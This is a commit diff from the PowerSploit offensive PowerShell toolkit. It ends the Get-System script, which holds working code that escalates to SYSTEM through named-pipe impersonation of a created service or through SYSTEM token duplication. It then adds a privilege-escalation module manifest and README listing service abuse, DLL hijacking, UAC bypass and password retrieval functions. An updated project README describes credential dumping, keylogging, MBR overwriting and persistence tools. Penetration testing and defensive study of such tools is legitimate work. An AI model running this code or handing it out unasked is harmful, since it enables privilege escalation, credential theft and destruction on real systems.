$CreateServiceADelegate = Get-DelegateType @( [IntPtr], [String], [String], [Int], [Int], [Int], [Int], [String], [String], [Int], [Int], [Int], [Int]) ([IntPtr])
$CreateServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateServiceAAddr, $CreateServiceADelegate)
$StartServiceAAddr = Get-ProcAddress Advapi32.dll StartServiceA
$StartServiceADelegate = Get-DelegateType @( [IntPtr], [Int], [Int]) ([IntPtr])
$StartServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StartServiceAAddr, $StartServiceADelegate)
$DeleteServiceAddr = Get-ProcAddress Advapi32.dll DeleteService
$DeleteServiceDelegate = Get-DelegateType @( [IntPtr] ) ([IntPtr])
$DeleteService = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DeleteServiceAddr, $DeleteServiceDelegate)
$GetLastErrorAddr = Get-ProcAddress Kernel32.dll GetLastError
$GetLastErrorDelegate = Get-DelegateType @() ([Int])
$GetLastError = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetLastErrorAddr, $GetLastErrorDelegate)
# Step 1 - OpenSCManager()
# 0xF003F = SC_MANAGER_ALL_ACCESS
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
Write-Verbose '[Get-System] Opening service manager'
$ManagerHandle = $OpenSCManagerA.Invoke('\\localhost', 'ServicesActive', 0xF003F)
Write-Verbose "[Get-System] Service manager handle: $ManagerHandle"
# if we get a non-zero handle back, everything was successful
if ($ManagerHandle -and ($ManagerHandle -ne 0)) {
# Step 2 - CreateService()
# 0xF003F = SC_MANAGER_ALL_ACCESS
# 0x10 = SERVICE_WIN32_OWN_PROCESS
# 0x3 = SERVICE_DEMAND_START
# 0x1 = SERVICE_ERROR_NORMAL
Write-Verbose "[Get-System] Creating new service: '$ServiceName'"
try {
$ServiceHandle = $CreateServiceA.Invoke($ManagerHandle, $ServiceName, $ServiceName, 0xF003F, 0x10, 0x3, 0x1, $Command, $null, $null, $null, $null, $null)
$err = $GetLastError.Invoke()
}
catch {
Write-Warning "Error creating service : $_"
$ServiceHandle = 0
}
Write-Verbose "[Get-System] CreateServiceA Handle: $ServiceHandle"
if ($ServiceHandle -and ($ServiceHandle -ne 0)) {
$Success = $True
Write-Verbose '[Get-System] Service successfully created'
# Step 3 - CloseServiceHandle() for the service handle
Write-Verbose '[Get-System] Closing service handle'
$Null = $CloseServiceHandle.Invoke($ServiceHandle)
# Step 4 - OpenService()
Write-Verbose "[Get-System] Opening the service '$ServiceName'"
$ServiceHandle = $OpenServiceA.Invoke($ManagerHandle, $ServiceName, 0xF003F)
Write-Verbose "[Get-System] OpenServiceA handle: $ServiceHandle"
if ($ServiceHandle -and ($ServiceHandle -ne 0)){
# Step 5 - StartService()
Write-Verbose '[Get-System] Starting the service'
$val = $StartServiceA.Invoke($ServiceHandle, $null, $null)
$err = $GetLastError.Invoke()
# if we successfully started the service, let it breathe and then delete it
if ($val -ne 0){
Write-Verbose '[Get-System] Service successfully started'
# breathe for a second
Start-Sleep -s 1
}
else{
if ($err -eq 1053){
Write-Verbose "[Get-System] Command didn't respond to start"
}
else{
Write-Warning "[Get-System] StartService failed, LastError: $err"
}
# breathe for a second
Start-Sleep -s 1
}
# start cleanup
# Step 6 - DeleteService()
Write-Verbose "[Get-System] Deleting the service '$ServiceName'"
$val = $DeleteService.invoke($ServiceHandle)
$err = $GetLastError.Invoke()
if ($val -eq 0){
Write-Warning "[Get-System] DeleteService failed, LastError: $err"
}
else{
Write-Verbose '[Get-System] Service successfully deleted'
}
# Step 7 - CloseServiceHandle() for the service handle
Write-Verbose '[Get-System] Closing the service handle'
$val = $CloseServiceHandle.Invoke($ServiceHandle)
Write-Verbose '[Get-System] Service handle closed off'
}
else {
Write-Warning "[Get-System] OpenServiceA failed, LastError: $err"
}
}
else {
Write-Warning "[Get-System] CreateService failed, LastError: $err"
}
# final cleanup - close off the manager handle
Write-Verbose '[Get-System] Closing the manager handle'
$Null = $CloseServiceHandle.Invoke($ManagerHandle)
}
else {
# error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
Write-Warning "[Get-System] OpenSCManager failed, LastError: $err"
}
if($Success) {
Write-Verbose '[Get-System] Waiting for pipe connection'
$Pipe.WaitForConnection()
$Null = (New-Object System.IO.StreamReader($Pipe)).ReadToEnd()
$Out = $ImpersonateNamedPipeClient.Invoke([Int]$PipeHandle)
Write-Verbose "[Get-System] ImpersonateNamedPipeClient: $Out"
}
# clocse off the named pipe
$Pipe.Dispose()
}
# performs token duplication to elevate to SYSTEM
# needs SeDebugPrivilege
# written by @mattifestation and adapted from https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot
Function Local:Get-SystemToken {
[CmdletBinding()] param()
$DynAssembly = New-Object Reflection.AssemblyName('AdjPriv')
$AssemblyBuilder = [Appdomain]::Currentdomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('AdjPriv', $False)
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TokPriv1LuidTypeBuilder = $ModuleBuilder.DefineType('TokPriv1Luid', $Attributes, [System.ValueType])
$TokPriv1LuidTypeBuilder.DefineField('Count', [Int32], 'Public') | Out-Null
$TokPriv1LuidTypeBuilder.DefineField('Luid', [Int64], 'Public') | Out-Null
$TokPriv1LuidTypeBuilder.DefineField('Attr', [Int32], 'Public') | Out-Null
$TokPriv1LuidStruct = $TokPriv1LuidTypeBuilder.CreateType()
$LuidTypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType])
$LuidTypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
$LuidTypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
$LuidStruct = $LuidTypeBuilder.CreateType()
$Luid_and_AttributesTypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType])
$Luid_and_AttributesTypeBuilder.DefineField('Luid', $LuidStruct, 'Public') | Out-Null
$Luid_and_AttributesTypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null
$Luid_and_AttributesStruct = $Luid_and_AttributesTypeBuilder.CreateType()
$ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
$ConstructorValue = [Runtime.InteropServices.UnmanagedType]::ByValArray
$FieldArray = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
$TokenPrivilegesTypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType])
$TokenPrivilegesTypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null
$PrivilegesField = $TokenPrivilegesTypeBuilder.DefineField('Privileges', $Luid_and_AttributesStruct.MakeArrayType(), 'Public')
$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 1))
$PrivilegesField.SetCustomAttribute($AttribBuilder)
# $TokenPrivilegesStruct = $TokenPrivilegesTypeBuilder.CreateType()
$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder(
([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]),
'advapi32.dll',
@([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')),
@([Bool] $True)
)
$AttribBuilder2 = New-Object Reflection.Emit.CustomAttributeBuilder(
([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]),
'kernel32.dll',
@([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')),
@([Bool] $True)
)
$Win32TypeBuilder = $ModuleBuilder.DefineType('Win32Methods', $Attributes, [ValueType])
$Win32TypeBuilder.DefinePInvokeMethod(
'OpenProcess',
'kernel32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[IntPtr],
@([UInt32], [Bool], [UInt32]),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder2)
$Win32TypeBuilder.DefinePInvokeMethod(
'CloseHandle',
'kernel32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[Bool],
@([IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder2)
$Win32TypeBuilder.DefinePInvokeMethod(
'DuplicateToken',
'advapi32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[Bool],
@([IntPtr], [Int32], [IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder)
$Win32TypeBuilder.DefinePInvokeMethod(
'SetThreadToken',
'advapi32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[Bool],
@([IntPtr], [IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder)
$Win32TypeBuilder.DefinePInvokeMethod(
'OpenProcessToken',
'advapi32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[Bool],
@([IntPtr], [UInt32], [IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder)
$Win32TypeBuilder.DefinePInvokeMethod(
'LookupPrivilegeValue',
'advapi32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[Bool],
@([String], [String], [IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder)
$Win32TypeBuilder.DefinePInvokeMethod(
'AdjustTokenPrivileges',
'advapi32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[Bool],
@([IntPtr], [Bool], $TokPriv1LuidStruct.MakeByRefType(),[Int32], [IntPtr], [IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder)
$Win32Methods = $Win32TypeBuilder.CreateType()
$Win32Native = [Int32].Assembly.GetTypes() | Where-Object {$_.Name -eq 'Win32Native'}
$GetCurrentProcess = $Win32Native.GetMethod(
'GetCurrentProcess',
[Reflection.BindingFlags] 'NonPublic, Static'
)
$SE_PRIVILEGE_ENABLED = 0x00000002
$STANDARD_RIGHTS_REQUIRED = 0x000F0000
# $STANDARD_RIGHTS_READ = 0x00020000
$TOKEN_ASSIGN_PRIMARY = 0x00000001
$TOKEN_DUPLICATE = 0x00000002
$TOKEN_IMPERSONATE = 0x00000004
$TOKEN_QUERY = 0x00000008
$TOKEN_QUERY_SOURCE = 0x00000010
$TOKEN_ADJUST_PRIVILEGES = 0x00000020
$TOKEN_ADJUST_GROUPS = 0x00000040
$TOKEN_ADJUST_DEFAULT = 0x00000080
$TOKEN_ADJUST_SESSIONID = 0x00000100
# $TOKEN_READ = $STANDARD_RIGHTS_READ -bor $TOKEN_QUERY
$TOKEN_ALL_ACCESS = $STANDARD_RIGHTS_REQUIRED -bor
$TOKEN_ASSIGN_PRIMARY -bor
$TOKEN_DUPLICATE -bor
$TOKEN_IMPERSONATE -bor
$TOKEN_QUERY -bor
$TOKEN_QUERY_SOURCE -bor
$TOKEN_ADJUST_PRIVILEGES -bor
$TOKEN_ADJUST_GROUPS -bor
$TOKEN_ADJUST_DEFAULT -bor
$TOKEN_ADJUST_SESSIONID
[long]$Luid = 0
$tokPriv1Luid = [Activator]::CreateInstance($TokPriv1LuidStruct)
$tokPriv1Luid.Count = 1
$tokPriv1Luid.Luid = $Luid
$tokPriv1Luid.Attr = $SE_PRIVILEGE_ENABLED
$RetVal = $Win32Methods::LookupPrivilegeValue($Null, 'SeDebugPrivilege', [ref]$tokPriv1Luid.Luid)
$htoken = [IntPtr]::Zero
$RetVal = $Win32Methods::OpenProcessToken($GetCurrentProcess.Invoke($Null, @()), $TOKEN_ALL_ACCESS, [ref]$htoken)
# $tokenPrivileges = [Activator]::CreateInstance($TokenPrivilegesStruct)
$RetVal = $Win32Methods::AdjustTokenPrivileges($htoken, $False, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero)
if(-not($RetVal)) {
Write-Error "[Get-System] AdjustTokenPrivileges failed, RetVal : $RetVal" -ErrorAction Stop
}
$LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value
$SystemHandle = Get-WmiObject -Class Win32_Process | ForEach-Object {
try {
$OwnerInfo = $_.GetOwner()
if ($OwnerInfo.Domain -and $OwnerInfo.User) {
$OwnerString = "$($OwnerInfo.Domain)\$($OwnerInfo.User)".ToUpper()
if ($OwnerString -eq $LocalSystemNTAccount.ToUpper()) {
$Process = Get-Process -Id $_.ProcessId
$Handle = $Win32Methods::OpenProcess(0x0400, $False, $Process.Id)
if ($Handle) {
$Handle
}
}
}
}
catch {
Write-Verbose "[Get-System] error enumerating handle: $_"
}
} | Where-Object {$_ -and ($_ -ne 0)} | Select-Object -First 1
if ((-not $SystemHandle) -or ($SystemHandle -eq 0)) {
Write-Error '[Get-System] Unable to obtain a handle to a system process.'
}
else {
[IntPtr]$SystemToken = [IntPtr]::Zero
$RetVal = $Win32Methods::OpenProcessToken(([IntPtr][Int] $SystemHandle), ($TOKEN_IMPERSONATE -bor $TOKEN_DUPLICATE), [ref]$SystemToken);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
Write-Verbose "[Get-System] OpenProcessToken result: $RetVal"
Write-Verbose "[Get-System] OpenProcessToken result: $LastError"
[IntPtr]$DulicateTokenHandle = [IntPtr]::Zero
$RetVal = $Win32Methods::DuplicateToken($SystemToken, 2, [ref]$DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
Write-Verbose "[Get-System] DuplicateToken result: $LastError"
$RetVal = $Win32Methods::SetThreadToken([IntPtr]::Zero, $DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
if(-not($RetVal)) {
Write-Error "[Get-System] SetThreadToken failed, RetVal : $RetVal" -ErrorAction Stop
}
Write-Verbose "[Get-System] SetThreadToken result: $LastError"
$null = $Win32Methods::CloseHandle($Handle)
}
}
if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') {
Write-Error "[Get-System] Script must be run in STA mode, relaunch powershell.exe with -STA flag" -ErrorAction Stop
}
if($PSBoundParameters['WhoAmI']) {
Write-Output "$([Environment]::UserDomainName)\$([Environment]::UserName)"
return
}
elseif($PSBoundParameters['RevToSelf']) {
$RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf
$RevertToSelfDelegate = Get-DelegateType @() ([Bool])
$RevertToSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate)
$RetVal = $RevertToSelf.Invoke()
if($RetVal) {
Write-Output "[Get-System] RevertToSelf successful."
}
else {
Write-Warning "[Get-System] RevertToSelf failed."
}
Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)"
}
else {
if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) {
Write-Error "[Get-System] Script must be run as administrator" -ErrorAction Stop
}
if($Technique -eq 'NamedPipe') {
# if we're using named pipe impersonation with a service
Get-SystemNamedPipe -ServiceName $ServiceName -PipeName $PipeName
}
else {
# otherwise use token duplication
Get-SystemToken
}
Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)"
}
}
+4989
View File
File diff suppressed because one or more lines are too long
+62
View File
@@ -0,0 +1,62 @@
@{
# Script module or binary module file associated with this manifest.
ModuleToProcess = 'Privesc.psm1'
# Version number of this module.
ModuleVersion = '3.0.0.0'
# ID used to uniquely identify this module
GUID = 'efb2a78f-a069-4bfd-91c2-7c7c0c225f56'
# Author of this module
Author = 'Will Schroeder (@harmj0y)'
# Copyright statement for this module
Copyright = 'BSD 3-Clause'
# Description of the functionality provided by this module
Description = 'PowerSploit Privesc Module'
# Minimum version of the Windows PowerShell engine required by this module
PowerShellVersion = '2.0'
# Functions to export from this module
FunctionsToExport = @(
'Get-ModifiablePath',
'Get-ProcessTokenGroup',
'Get-ProcessTokenPrivilege',
'Enable-Privilege',
'Add-ServiceDacl',
'Set-ServiceBinaryPath',
'Test-ServiceDaclPermission',
'Get-UnquotedService',
'Get-ModifiableServiceFile',
'Get-ModifiableService',
'Get-ServiceDetail',
'Invoke-ServiceAbuse',
'Write-ServiceBinary',
'Install-ServiceBinary',
'Restore-ServiceBinary',
'Find-ProcessDLLHijack',
'Find-PathDLLHijack',
'Write-HijackDll',
'Get-RegistryAlwaysInstallElevated',
'Get-RegistryAutoLogon',
'Get-ModifiableRegistryAutoRun',
'Get-ModifiableScheduledTaskFile',
'Get-UnattendedInstallFile',
'Get-WebConfig',
'Get-ApplicationHost',
'Get-SiteListPassword',
'Get-CachedGPPPassword',
'Write-UserAddMSI',
'Invoke-EventVwrBypass',
'Invoke-PrivescAudit',
'Get-System'
)
# List of all files packaged with this module
FileList = 'Privesc.psm1', 'Get-System.ps1', 'PowerUp.ps1', 'README.md'
}
@@ -1 +1 @@
Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
+69
View File
@@ -0,0 +1,69 @@
To install this module, drop the entire Privesc folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable.
The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules"
The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules"
To use the module, type `Import-Module Privesc`
To see the commands imported, type `Get-Command -Module Privesc`
For help on each individual command, Get-Help is your friend.
Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability.
## PowerUp
PowerUp aims to be a clearinghouse of common Windows privilege escalation
vectors that rely on misconfigurations.
Running Invoke-AllChecks will output any identifiable vulnerabilities along
with specifications for any abuse functions. The -HTMLReport flag will also
generate a COMPUTER.username.html version of the report.
Author: @harmj0y
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
### Token/Privilege Enumeration/Abuse:
Get-ProcessTokenGroup - returns all SIDs that the current token context is a part of, whether they are disabled or not
Get-ProcessTokenPrivilege - returns all privileges for the current (or specified) process ID
Enable-Privilege - enables a specific privilege for the current process
### Service Enumeration/Abuse:
Test-ServiceDaclPermission - tests one or more passed services or service names against a given permission set
Get-UnquotedService - returns services with unquoted paths that also have a space in the name
Get-ModifiableServiceFile - returns services where the current user can write to the service binary path or its config
Get-ModifiableService - returns services the current user can modify
Get-ServiceDetail - returns detailed information about a specified service
Set-ServiceBinaryPath - sets the binary path for a service to a specified value
Invoke-ServiceAbuse - modifies a vulnerable service to create a local admin or execute a custom command
Write-ServiceBinary - writes out a patched C# service binary that adds a local admin or executes a custom command
Install-ServiceBinary - replaces a service binary with one that adds a local admin or executes a custom command
Restore-ServiceBinary - restores a replaced service binary with the original executable
### DLL Hijacking:
Find-ProcessDLLHijack - finds potential DLL hijacking opportunities for currently running processes
Find-PathDLLHijack - finds service %PATH% DLL hijacking opportunities
Write-HijackDll - writes out a hijackable DLL
### Registry Checks:
Get-RegistryAlwaysInstallElevated - checks if the AlwaysInstallElevated registry key is set
Get-RegistryAutoLogon - checks for Autologon credentials in the registry
Get-ModifiableRegistryAutoRun - checks for any modifiable binaries/scripts (or their configs) in HKLM autoruns
### Miscellaneous Checks:
Get-ModifiableScheduledTaskFile - find schtasks with modifiable target files
Get-UnattendedInstallFile - finds remaining unattended installation files
Get-Webconfig - checks for any encrypted web.config strings
Get-ApplicationHost - checks for encrypted application pool and virtual directory passwords
Get-SiteListPassword - retrieves the plaintext passwords for any found McAfee's SiteList.xml files
Get-CachedGPPPassword - checks for passwords in cached Group Policy Preferences files
### Other Helpers/Meta-Functions:
Get-ModifiablePath - tokenizes an input string and returns the files in it the current user can modify
Write-UserAddMSI - write out a MSI installer that prompts for a user to be added
Invoke-WScriptUACBypass - performs the bypass UAC attack by abusing the lack of an embedded manifest in wscript.exe
Invoke-PrivescAudit - runs all current escalation checks and returns a report (formerly Invoke-AllChecks)
+105 -78
View File
@@ -1,4 +1,6 @@
### PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid reverse engineers, forensic analysts, and penetration testers during all phases of an assessment. PowerSploit is comprised of the following modules and scripts:
## This project is no longer supported
### PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment. PowerSploit is comprised of the following modules and scripts:
## CodeExecution
@@ -16,13 +18,9 @@ Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or
Injects shellcode into the process ID of your choosing or within PowerShell locally.
#### `Invoke-ShellcodeMSIL`
#### `Invoke-WmiCommand`
Execute shellcode within the context of the running PowerShell process without making any Win32 function calls.
#### `Watch-BlueScreen`
Cause a blue screen to occur (Windows 7 and below).
Executes a PowerShell ScriptBlock on a target computer and returns its formatted output using WMI as a C2 channel.
## ScriptModification
@@ -40,7 +38,7 @@ Compresses, Base-64 encodes, and outputs generated code to load a managed dll in
Encrypts text files/scripts.
#### `Remove-Comments`
#### `Remove-Comment`
Strips comments and extra whitespace from a script.
@@ -48,11 +46,11 @@ Strips comments and extra whitespace from a script.
**Add persistence capabilities to a PowerShell script**
#### `New-UserPersistenceOptions`
#### `New-UserPersistenceOption`
Configure user-level persistence options for the Add-Persistence function.
#### `New-ElevatedPersistenceOptions`
#### `New-ElevatedPersistenceOption`
Configure elevated persistence options for the Add-Persistence function.
@@ -60,61 +58,13 @@ Configure elevated persistence options for the Add-Persistence function.
Add persistence capabilities to a script.
## PETools
#### `Install-SSP`
**Parse/manipulate Windows portable executables.**
Installs a security support provider (SSP) dll.
#### `Get-PEHeader`
#### `Get-SecurityPackages`
An in-memory and on-disk PE parsing utility.
#### `Get-ObjDump`
Displays information about one or more Windows object files.
#### `Get-DllLoadPath`
Returns the path from which Windows will load a Dll for the given executable.
## ReverseEngineering
**Tools to aid in reverse engineering.**
#### `Get-PEB`
Returns the process environment block (PEB) of a process.
#### `Get-ILDisassembly`
Disassembles a raw MSIL byte array passed in from a MethodInfo object in a manner similar to that of Ildasm.
#### `Get-NtSystemInformation`
A utility that calls and parses the output of the ntdll!NtQuerySystemInformation function. This utility can be used to query internal OS information that is typically not made visible to a user.
#### `Get-StructFromMemory`
Marshals data from an unmanaged block of memory in an arbitrary process to a newly allocated managed object of the specified type.
#### `Get-Member`
A proxy function used to extend the built-in Get-Member cmdlet. It adds the '-Private' parameter allowing you to display non-public .NET members
#### `New-Object`
A proxy function for New-Object that accepts a CLSID with the -ComObject parameter.
#### `Get-Strings`
Dumps strings from files in both Unicode and Ascii. This cmdlet replicates the functionality of strings.exe from Sysinternals.
#### `ConvertTo-String`
Converts the bytes of a file to a string that has a 1-to-1 mapping back to the file's original bytes. ConvertTo-String is useful for performing binary regular expressions.
#### `Get-MethodAddress`
Get the unmanaged function address of a .NET method.
Enumerates all loaded security packages (SSPs).
## AntivirusBypass
@@ -128,6 +78,22 @@ Locates single Byte AV signatures utilizing the same method as DSplit from "clas
**All your data belong to me!**
#### `Invoke-TokenManipulation`
Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread.
#### `Invoke-CredentialInjection`
Create logons with clear-text credentials without triggering a suspicious Event ID 4648 (Explicit Credential Logon).
#### `Invoke-NinjaCopy`
Copies a file from an NTFS partitioned volume by reading the raw volume and parsing the NTFS structures.
#### `Invoke-Mimikatz`
Reflectively loads Mimikatz 2.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any functionality provided with Mimikatz.
#### `Get-Keystrokes`
Logs keys pressed, time and the active window.
@@ -136,14 +102,63 @@ Logs keys pressed, time and the active window.
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
#### `Get-GPPAutologon`
Retrieves autologon username and password from registry.xml if pushed through Group Policy Preferences.
#### `Get-TimedScreenshot`
A function that takes screenshots at a regular interval and saves them to a folder.
#### `New-VolumeShadowCopy`
Creates a new volume shadow copy.
#### `Get-VolumeShadowCopy`
Lists the device paths of all local volume shadow copies.
#### `Mount-VolumeShadowCopy`
Mounts a volume shadow copy.
#### `Remove-VolumeShadowCopy`
Deletes a volume shadow copy.
#### `Get-VaultCredential`
Displays Windows vault credential objects including cleartext web credentials.
#### `Out-Minidump`
Generates a full-memory minidump of a process.
#### `Get-MicrophoneAudio`
Records audio from system microphone and saves to disk
## Mayhem
**Cause general mayhem with PowerShell.**
#### `Set-MasterBootRecord`
Proof of concept code that overwrites the master boot record with the
message of your choice.
#### `Set-CriticalProcess`
Causes your machine to blue screen upon exiting PowerShell.
## Privesc
**Tools to help with escalating privileges on a target.**
#### `PowerUp`
Clearing house of common privilege escalation checks, along with some weaponization vectors.
## Recon
**Tools to aid in the reconnaissance phase of a penetration test.**
@@ -158,7 +173,11 @@ Returns the HTTP Status Codes and full URL for specified paths when provided wit
#### `Invoke-ReverseDnsLookup`
Scans an IP address range for DNS PTR records. This script is useful for performing DNS reconnaissance prior to conducting an authorized penetration test.
Scans an IP address range for DNS PTR records.
#### `PowerView`
PowerView is series of functions that performs network and Windows domain enumeration and exploitation.
## Recon\Dictionaries
@@ -170,7 +189,7 @@ Scans an IP address range for DNS PTR records. This script is useful for perform
## License
The PowerSploit project and all individual scripts are under the [BSD 3-Clause license](https://raw.github.com/mattifestation/PowerSploit/master/LICENSE).
The PowerSploit project and all individual scripts are under the [BSD 3-Clause license](https://raw.github.com/mattifestation/PowerSploit/master/LICENSE) unless explicitly noted otherwise.
## Usage
@@ -185,23 +204,37 @@ To use the module, type `Import-Module PowerSploit`
To see the commands imported, type `Get-Command -Module PowerSploit`
If you're running PowerShell v3 and you want to remove the annoying 'Do you really want to run scripts downloaded from the Internet' warning, once you've placed PowerSploit into your module path, run the following one-liner:
`$Env:PSModulePath.Split(';') |
% { if ( Test-Path (Join-Path $_ PowerSploit) )
{Get-ChildItem $_ -Recurse | Unblock-File} }`
For help on each individual command, Get-Help is your friend.
Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability.
## Contribution Rules
We need contributions! If you have a great idea for PowerSploit, we'd love to add it. New additions will require the following:
* The script must adhere to the style guide. Any exceptions to the guide line would need an explicit, valid reason.
* The module manifest needs to be updated to reflect the new function being added.
* A brief description of the function should be added to this README.md
* Pester tests must accompany all new functions. See the Tests folder for examples but we are looking for tests that at least cover the basics by testing for expected/unexpected input/output and that the function exhibits desired functionality. Make sure the function is passing all tests (preferably in mutiple OSes) prior to submitting a pull request. Thanks!
## Script Style Guide
**For all contributors and future contributors to PowerSploit, I ask that you follow this style guide when writing your scripts/modules.**
* Avoid Write-Host **at all costs**. You should output custom objects instead. For more information on creating custom objects, read these articles:
* Avoid Write-Host **at all costs**. PowerShell functions/cmdlets are not command-line utilities! Pull requests containing code that uses Write-Host will not be considered. You should output custom objects instead. For more information on creating custom objects, read these articles:
* <http://blogs.technet.com/b/heyscriptingguy/archive/2011/05/19/create-custom-objects-in-your-powershell-script.aspx>
* <http://technet.microsoft.com/en-us/library/ff730946.aspx>
* If you want to display relevant debugging information to the screen, use Write-Verbose. The user can always just tack on '-Verbose'.
* Always provide descriptive, comment-based help for every script. Also, be sure to include your name and a BSD 3-Clause license.
* Always provide descriptive, comment-based help for every script. Also, be sure to include your name and a BSD 3-Clause license (unless there are extenuating circumstances that prevent the application of the BSD license).
* Make sure all functions follow the proper PowerShell verb-noun agreement. Use Get-Verb to list the default verbs used by PowerShell.
* Make sure all functions follow the proper PowerShell verb-noun agreement. Use Get-Verb to list the default verbs used by PowerShell. Exceptions to supported verbs will be considered on a case-by-case basis.
* I prefer that variable names be capitalized and be as descriptive as possible.
@@ -211,29 +244,23 @@ Note: The tools contained within this module were all designed such that they ca
* Catch all anticipated errors and provide meaningful output. If you have an error that should stop execution of the script, use 'Throw'. If you have an error that doesn't need to stop execution, use Write-Error.
* If you are writing a script that interfaces with the Win32 API, do not compile C# code unless absolutely necessary. It is imperative that nothing aside from the script touches the disk.
* If you are writing a script that interfaces with the Win32 API, try to avoid compiling C# inline with Add-Type. Try to use the PSReflect module, if possible.
* Do not use hardcoded paths. A script should be useable right out of the box. No one should have to modify the code unless they want to.
* I don't want any v3 dependencies right now. In fact, it would be ideal to use `Set-StrictMode -Version 2.0` to ensure you are conforming to PowerShell v2 best practices.
* PowerShell v2 compatibility is highly desired.
* Use positional parameters and make parameters mandatory when it makes sense to do so. For example, I'm looking for something like the following:
* `[Parameter(Position = 0, Mandatory = $True)]`
* Don't use any aliases unless it makes sense for receiving pipeline input. They make code more difficult to read for people who are unfamiliar with a particular alias.
* Don't let commands run on for too long. For example, a pipeline is a natural place for a line break.
* Try not to let commands run on for too long. For example, a pipeline is a natural place for a line break.
* Don't go overboard with inline comments. Only use them when certain aspects of the code might be confusing to a reader.
* Use Out-Null to suppress unwanted/irrelevant output.
* Only use .NET code when absolutely necessary.
* Use the Write-Output keyword when returning an object from a function. I know it's not necessary but it makes the code more readable.
